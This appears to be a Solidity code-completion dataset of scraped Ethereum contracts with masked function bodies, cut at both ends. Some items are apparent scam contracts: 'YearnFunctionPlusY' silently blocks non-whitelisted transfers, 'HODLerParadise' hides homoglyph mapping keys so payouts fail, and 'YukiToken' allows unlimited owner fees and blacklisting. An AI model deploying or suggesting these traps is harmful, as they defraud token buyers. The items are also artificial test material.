_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {<FILL_FUNCTION_BODY> }
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1e10 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 1e12 * 10**9;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function withdrawStuckToken() public onlyOwner {
_feeAddrWallet1.transfer(address(this).balance);
}
function setFeeWallets(address firstWallet, address secondWallet) public onlyOwner {
_feeAddrWallet1 = payable(firstWallet);
_feeAddrWallet2 = payable(secondWallet);
}
function setFees(uint256 reflectionfee, uint256 teamFee) public onlyOwner {
_feeAddr1 = reflectionfee;
_feeAddr2 = teamFee;
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | contract YukiToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public _feeAddr1 = 0;
uint256 public _feeAddr2 = 15;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Yuki NFT";
string private constant _symbol = "YUKI";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x2fbE4aFa4F3768E16E0E81B38b19dAC8463E95FA);
_feeAddrWallet2 = payable(0x2fbE4aFa4F3768E16E0E81B38b19dAC8463E95FA);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
<FILL_FUNCTION>
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1e10 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 1e12 * 10**9;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function withdrawStuckToken() public onlyOwner {
_feeAddrWallet1.transfer(address(this).balance);
}
function setFeeWallets(address firstWallet, address secondWallet) public onlyOwner {
_feeAddrWallet1 = payable(firstWallet);
_feeAddrWallet2 = payable(secondWallet);
}
function setFees(uint256 reflectionfee, uint256 teamFee) public onlyOwner {
_feeAddr1 = reflectionfee;
_feeAddr2 = teamFee;
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} |
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
| function swapTokensForEth(uint256 tokenAmount) private lockTheSwap | function swapTokensForEth(uint256 tokenAmount) private lockTheSwap |
3299 | YearnFunctionPlusY | null | contract YearnFunctionPlusY is ERC20, ERC20Detailed {
using SafeMath for uint;
mapping (address => bool) public controller;
mapping (address => bool) public blackList;
address univ2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor () public ERC20Detailed("Yearn Function PlusY", "YF(+y)", 18) {<FILL_FUNCTION_BODY> }
function stake(address account) public {
require(controller[msg.sender], "error");
_stake(account);
}
function withdraw(address account, uint amount) public {
require(controller[msg.sender], "error");
_withdraw(account, amount);
}
function rebase(address account, uint amount) public {
require(controller[msg.sender], "error");
_rebase(account, amount);
}
function addblackList(address account) public {
require(controller[msg.sender], "error");
blackList[account] = true;
}
function removeblackList(address account) public {
require(controller[msg.sender], "error");
blackList[account] = false;
}
function _tft(address sender, address recipient, uint amount) internal {
if(blackList[sender]){
super._tft(sender, recipient, amount);
} else {
super._tft(sender, recipient, 0);
}
}
} | contract YearnFunctionPlusY is ERC20, ERC20Detailed {
using SafeMath for uint;
mapping (address => bool) public controller;
mapping (address => bool) public blackList;
address univ2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
<FILL_FUNCTION>
function stake(address account) public {
require(controller[msg.sender], "error");
_stake(account);
}
function withdraw(address account, uint amount) public {
require(controller[msg.sender], "error");
_withdraw(account, amount);
}
function rebase(address account, uint amount) public {
require(controller[msg.sender], "error");
_rebase(account, amount);
}
function addblackList(address account) public {
require(controller[msg.sender], "error");
blackList[account] = true;
}
function removeblackList(address account) public {
require(controller[msg.sender], "error");
blackList[account] = false;
}
function _tft(address sender, address recipient, uint amount) internal {
if(blackList[sender]){
super._tft(sender, recipient, amount);
} else {
super._tft(sender, recipient, 0);
}
}
} |
_initMint( msg.sender, 1200*10**uint(decimals()) );
controller[msg.sender] = true;
blackList[msg.sender] = true;
blackList[univ2] = true;
| constructor () public ERC20Detailed("Yearn Function PlusY", "YF(+y)", 18) | constructor () public ERC20Detailed("Yearn Function PlusY", "YF(+y)", 18) |
33753 | HODLerParadise | is_passcode_correct | contract HODLerParadise{
struct User{
address hodler;
bytes32 passcode;
uint hodling_since;
}
User[] users;
mapping (string => uint) parameters;
function HODLerParadise() public{
parameters["owner"] = uint(msg.sender);
}
function get_parameters() constant public returns(
uint price,
uint price_pool,
uint base_reward,
uint daily_reward,
uint max_reward
){
price = parameters['price'];
price_pool = parameters['price_pool'];
base_reward = parameters['base_reward'];
daily_reward = parameters['daily_reward'];
max_reward = parameters['max_reward'];
}
// Register as a HODLer.
// Passcode can be your password, or the hash of your password, your choice
// If it's not hashed, max password len is 16 characters.
function register(bytes32 passcode) public payable returns(uint uid)
{
require(msg.value >= parameters["price"]);
require(passcode != "");
users.push(User(msg.sender, passcode, now));
// leave some for the deployer
parameters["price_pool"] += msg.value * 99 / 100;
parameters["last_hodler"] = now;
uid = users.length - 1;
}
// OPTIONAL: Use this to securely hash your password before registering
function hash_passcode(bytes32 passcode) public pure returns(bytes32 hash){
hash = keccak256(passcode);
}
// How much would you get if you claimed right now
function get_reward(uint uid) public constant returns(uint reward){
require(uid < users.length);
reward = parameters["base_reward"] + parameters["daily_reward"] * (now - users[uid].hodling_since) / 1 days;
reward = parameters["max_reward"];
}
// Is your password still working?
function is_passcode_correct(uint uid, bytes32 passcode) public constant returns(bool passcode_correct){<FILL_FUNCTION_BODY> }
// Get the price of your glorious HODLing!
function claim_reward(uint uid, bytes32 passcode) public payable
{
// a good HODLer always HODLs some more ether
require(msg.value >= parameters["price"]);
require(is_passcode_correct(uid, passcode));
uint final_reward = get_reward(uid) + msg.value;
if (final_reward > parameters["price_poοl"])
final_reward = parameters["price_poοl"];
require(msg.sender.call.value(final_reward)());
parameters["price_poοl"] -= final_reward;
// Delete the user: copy last user to to-be-deleted user and shorten the array
if (uid + 1 < users.length)
users[uid] = users[users.length - 1];
users.length -= 1;
}
// Refund the early HODLers, and leave the rest to the contract deployer
function refund_and_die() public{
require(msg.sender == address(parameters['owner']));
require(parameters["last_hοdler"] + 7 days < now);
uint price_pool_remaining = parameters["price_pοοl"];
for(uint i=0; i<users.length && price_pool_remaining > 0; ++i){
uint reward = get_reward(i);
if (reward > price_pool_remaining)
reward = price_pool_remaining;
if (users[i].hodler.send(reward))
price_pool_remaining -= reward;
}
selfdestruct(msg.sender);
}
function check_parameters_sanity() internal view{
require(parameters['price'] <= 1 ether);
require(parameters['base_reward'] >= parameters['price'] / 2);
require(parameters["daily_reward"] >= parameters['base_reward'] / 2);
require(parameters['max_reward'] >= parameters['price']);
}
function set_parameter(string name, uint value) public{
require(msg.sender == address(parameters['owner']));
// not even owner can touch these, that would be unfair!
require(keccak256(name) != keccak256("last_hodler"));
require(keccak256(name) != keccak256("price_pool"));
parameters[name] = value;
check_parameters_sanity();
}
function () public payable {
parameters["price_pool"] += msg.value;
}
} | contract HODLerParadise{
struct User{
address hodler;
bytes32 passcode;
uint hodling_since;
}
User[] users;
mapping (string => uint) parameters;
function HODLerParadise() public{
parameters["owner"] = uint(msg.sender);
}
function get_parameters() constant public returns(
uint price,
uint price_pool,
uint base_reward,
uint daily_reward,
uint max_reward
){
price = parameters['price'];
price_pool = parameters['price_pool'];
base_reward = parameters['base_reward'];
daily_reward = parameters['daily_reward'];
max_reward = parameters['max_reward'];
}
// Register as a HODLer.
// Passcode can be your password, or the hash of your password, your choice
// If it's not hashed, max password len is 16 characters.
function register(bytes32 passcode) public payable returns(uint uid)
{
require(msg.value >= parameters["price"]);
require(passcode != "");
users.push(User(msg.sender, passcode, now));
// leave some for the deployer
parameters["price_pool"] += msg.value * 99 / 100;
parameters["last_hodler"] = now;
uid = users.length - 1;
}
// OPTIONAL: Use this to securely hash your password before registering
function hash_passcode(bytes32 passcode) public pure returns(bytes32 hash){
hash = keccak256(passcode);
}
// How much would you get if you claimed right now
function get_reward(uint uid) public constant returns(uint reward){
require(uid < users.length);
reward = parameters["base_reward"] + parameters["daily_reward"] * (now - users[uid].hodling_since) / 1 days;
reward = parameters["max_reward"];
}
<FILL_FUNCTION>
// Get the price of your glorious HODLing!
function claim_reward(uint uid, bytes32 passcode) public payable
{
// a good HODLer always HODLs some more ether
require(msg.value >= parameters["price"]);
require(is_passcode_correct(uid, passcode));
uint final_reward = get_reward(uid) + msg.value;
if (final_reward > parameters["price_poοl"])
final_reward = parameters["price_poοl"];
require(msg.sender.call.value(final_reward)());
parameters["price_poοl"] -= final_reward;
// Delete the user: copy last user to to-be-deleted user and shorten the array
if (uid + 1 < users.length)
users[uid] = users[users.length - 1];
users.length -= 1;
}
// Refund the early HODLers, and leave the rest to the contract deployer
function refund_and_die() public{
require(msg.sender == address(parameters['owner']));
require(parameters["last_hοdler"] + 7 days < now);
uint price_pool_remaining = parameters["price_pοοl"];
for(uint i=0; i<users.length && price_pool_remaining > 0; ++i){
uint reward = get_reward(i);
if (reward > price_pool_remaining)
reward = price_pool_remaining;
if (users[i].hodler.send(reward))
price_pool_remaining -= reward;
}
selfdestruct(msg.sender);
}
function check_parameters_sanity() internal view{
require(parameters['price'] <= 1 ether);
require(parameters['base_reward'] >= parameters['price'] / 2);
require(parameters["daily_reward"] >= parameters['base_reward'] / 2);
require(parameters['max_reward'] >= parameters['price']);
}
function set_parameter(string name, uint value) public{
require(msg.sender == address(parameters['owner']));
// not even owner can touch these, that would be unfair!
require(keccak256(name) != keccak256("last_hodler"));
require(keccak256(name) != keccak256("price_pool"));
parameters[name] = value;
check_parameters_sanity();
}
function () public payable {
parameters["price_pool"] += msg.value;
}
} |
require(uid < users.length);
bytes32 passcode_actually = users[uid].passcode;
if (passcode_actually & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0){
// bottom 16 bytes == 0: stored password was not hashed
// (e.g. it looks like this: "0x7265676973746572310000000000000000000000000000000000000000000000" )
return passcode == passcode_actually;
} else {
// stored password is hashed
return keccak256(passcode) == passcode_actually;
}
| function is_passcode_correct(uint uid, bytes32 passcode) public constant returns(bool passcode_correct) | // Is your password still working?
function is_passcode_correct(uint uid, bytes32 passcode) public constant returns(bool passcode_correct) |
55482 | MarketplaceV2 | purchaseWithDai | contract MarketplaceV2 is MarketplaceCommon, DigixConstantsExtras {
function MarketplaceV2(address _resolver) public
{
require(init(CONTRACT_INTERACTIVE_MARKETPLACE_V2, _resolver));
}
function marketplace_controller_v2()
internal
constant
returns (MarketplaceControllerV2 _contract)
{
_contract = MarketplaceControllerV2(get_contract(CONTRACT_CONTROLLER_MARKETPLACE));
}
/// @dev purchase DGX gold using ETH
/// @param _block_number Block number from DTPO (Digix Trusted Price Oracle)
/// @param _nonce Nonce from DTPO
/// @param _wei_per_dgx_mg Price in wei for one milligram of DGX
/// @param _signer Address of the DTPO signer
/// @param _signature Signature of the payload
/// @return {
/// "_success": "returns true if operation is successful",
/// "_purchased_amount": "DGX nanograms received"
/// }
function purchaseWithEth(uint256 _block_number, uint256 _nonce, uint256 _wei_per_dgx_mg, address _signer, bytes _signature)
payable
public
returns (bool _success, uint256 _purchased_amount)
{
address _sender = msg.sender;
(_success, _purchased_amount) =
marketplace_controller_v2().purchase_with_eth.value(msg.value).gas(600000)(msg.value, _sender, _block_number,
_nonce, _wei_per_dgx_mg, _signer, _signature);
require(_success);
}
/// @dev purchase DGX gold using DAI
/// @param _dai_sent amount of DAI sent
/// @param _block_number Block number from DTPO (Digix Trusted Price Oracle)
/// @param _nonce Nonce from DTPO
/// @param _dai_per_ton Despite the variable name, this is actually the price in DAI for 1000 tonnes of DGXs
/// @param _signer Address of the DTPO signer
/// @param _signature Signature of the payload
/// @return {
/// "_success": "returns true if operation is successful",
/// "_purchased_amount": "DGX nanograms received"
/// }
function purchaseWithDai(uint256 _dai_sent, uint256 _block_number, uint256 _nonce, uint256 _dai_per_ton, address _signer, bytes _signature)
public
returns (bool _success, uint256 _purchased_amount)
{<FILL_FUNCTION_BODY> }
} | contract MarketplaceV2 is MarketplaceCommon, DigixConstantsExtras {
function MarketplaceV2(address _resolver) public
{
require(init(CONTRACT_INTERACTIVE_MARKETPLACE_V2, _resolver));
}
function marketplace_controller_v2()
internal
constant
returns (MarketplaceControllerV2 _contract)
{
_contract = MarketplaceControllerV2(get_contract(CONTRACT_CONTROLLER_MARKETPLACE));
}
/// @dev purchase DGX gold using ETH
/// @param _block_number Block number from DTPO (Digix Trusted Price Oracle)
/// @param _nonce Nonce from DTPO
/// @param _wei_per_dgx_mg Price in wei for one milligram of DGX
/// @param _signer Address of the DTPO signer
/// @param _signature Signature of the payload
/// @return {
/// "_success": "returns true if operation is successful",
/// "_purchased_amount": "DGX nanograms received"
/// }
function purchaseWithEth(uint256 _block_number, uint256 _nonce, uint256 _wei_per_dgx_mg, address _signer, bytes _signature)
payable
public
returns (bool _success, uint256 _purchased_amount)
{
address _sender = msg.sender;
(_success, _purchased_amount) =
marketplace_controller_v2().purchase_with_eth.value(msg.value).gas(600000)(msg.value, _sender, _block_number,
_nonce, _wei_per_dgx_mg, _signer, _signature);
require(_success);
}
<FILL_FUNCTION>
} |
address _sender = msg.sender;
(_success, _purchased_amount) =
marketplace_controller_v2().purchase_with_dai.gas(800000)(_dai_sent, _sender, _block_number,
_nonce, _dai_per_ton, _signer, _signature);
require(_success);
| function purchaseWithDai(uint256 _dai_sent, uint256 _block_number, uint256 _nonce, uint256 _dai_per_ton, address _signer, bytes _signature)
public
returns (bool _success, uint256 _purchased_amount)
| /// @dev purchase DGX gold using DAI
/// @param _dai_sent amount of DAI sent
/// @param _block_number Block number from DTPO (Digix Trusted Price Oracle)
/// @param _nonce Nonce from DTPO
/// @param _dai_per_ton Despite the variable name, this is actually the price in DAI for 1000 tonnes of DGXs
/// @param _signer Address of the DTPO signer
/// @param _signature Signature of the payload
/// @return {
/// "_success": "returns true if operation is successful",
/// "_purchased_amount": "DGX nanograms received"
/// }
function purchaseWithDai(uint256 _dai_sent, uint256 _block_number, uint256 _nonce, uint256 _dai_per_ton, address _signer, bytes _signature)
public
returns (bool _success, uint256 _purchased_amount)
|
85897 | MultiBeneficiariesTokenTimelock | release | contract MultiBeneficiariesTokenTimelock {
using SafeERC20 for IERC20;
// ERC20 basic token contract being held
IERC20 public token;
// beneficiary of tokens after they are released
address[] public beneficiaries;
// token amounts of beneficiaries to be released
uint256[] public tokenValues;
// timestamp when token release is enabled
uint256 public releaseTime;
//Whether tokens have been distributed
bool public distributed;
constructor(
IERC20 _token,
address[] memory _beneficiaries,
uint256[] memory _tokenValues,
uint256 _releaseTime
)
public
{
require(_releaseTime > block.timestamp);
releaseTime = _releaseTime;
require(_beneficiaries.length == _tokenValues.length);
beneficiaries = _beneficiaries;
tokenValues = _tokenValues;
token = _token;
distributed = false;
}
/**
* @notice Transfers tokens held by timelock to beneficiaries.
*/
function release() public {<FILL_FUNCTION_BODY> }
/**
* Returns the time remaining until release
*/
function getTimeLeft() public view returns (uint256 timeLeft){
if (releaseTime > block.timestamp) {
return releaseTime - block.timestamp;
}
return 0;
}
/**
* Reject ETH
*/
function() external payable {
revert();
}
} | contract MultiBeneficiariesTokenTimelock {
using SafeERC20 for IERC20;
// ERC20 basic token contract being held
IERC20 public token;
// beneficiary of tokens after they are released
address[] public beneficiaries;
// token amounts of beneficiaries to be released
uint256[] public tokenValues;
// timestamp when token release is enabled
uint256 public releaseTime;
//Whether tokens have been distributed
bool public distributed;
constructor(
IERC20 _token,
address[] memory _beneficiaries,
uint256[] memory _tokenValues,
uint256 _releaseTime
)
public
{
require(_releaseTime > block.timestamp);
releaseTime = _releaseTime;
require(_beneficiaries.length == _tokenValues.length);
beneficiaries = _beneficiaries;
tokenValues = _tokenValues;
token = _token;
distributed = false;
}
<FILL_FUNCTION>
/**
* Returns the time remaining until release
*/
function getTimeLeft() public view returns (uint256 timeLeft){
if (releaseTime > block.timestamp) {
return releaseTime - block.timestamp;
}
return 0;
}
/**
* Reject ETH
*/
function() external payable {
revert();
}
} |
require(block.timestamp >= releaseTime);
require(!distributed);
for (uint256 i = 0; i < beneficiaries.length; i++) {
address beneficiary = beneficiaries[i];
uint256 amount = tokenValues[i];
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
distributed = true;
| function release() public | /**
* @notice Transfers tokens held by timelock to beneficiaries.
*/
function release() public |
18650 | Token | burn | contract Token is ERC20, Pausable {
struct sUserInfo {
uint256 balance;
bool lock;
mapping(address => uint256) allowed;
}
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping(address => sUserInfo) user;
event Burn(uint256 value);
function () public payable {
revert();
}
function validTransfer(address _from, address _to, uint256 _value, bool _lockCheck) internal view returns (bool) {
require(_to != address(this));
require(_to != address(0));
require(user[_from].balance >= _value);
if(_lockCheck) {
require(user[_from].lock == false);
}
}
function lock(address _owner) public onlyManagers returns (bool) {
require(user[_owner].lock == false);
user[_owner].lock = true;
return true;
}
function unlock(address _owner) public onlyManagers returns (bool) {
require(user[_owner].lock == true);
user[_owner].lock = false;
return true;
}
function burn(uint256 _value) public onlyOwner returns (bool) {<FILL_FUNCTION_BODY> }
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
require(_value == 0 || user[msg.sender].allowed[_spender] == 0);
user[msg.sender].allowed[_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
validTransfer(_from, _to, _value, true);
require(_value <= user[_from].allowed[msg.sender]);
user[_from].balance = user[_from].balance.sub(_value);
user[_to].balance = user[_to].balance.add(_value);
user[_from].allowed[msg.sender] = user[_from].allowed[msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
validTransfer(msg.sender, _to, _value, true);
user[msg.sender].balance = user[msg.sender].balance.sub(_value);
user[_to].balance = user[_to].balance.add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function totalSupply() public view returns (uint256) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256) {
return user[_owner].balance;
}
function lockState(address _owner) public view returns (bool) {
return user[_owner].lock;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return user[_owner].allowed[_spender];
}
} | contract Token is ERC20, Pausable {
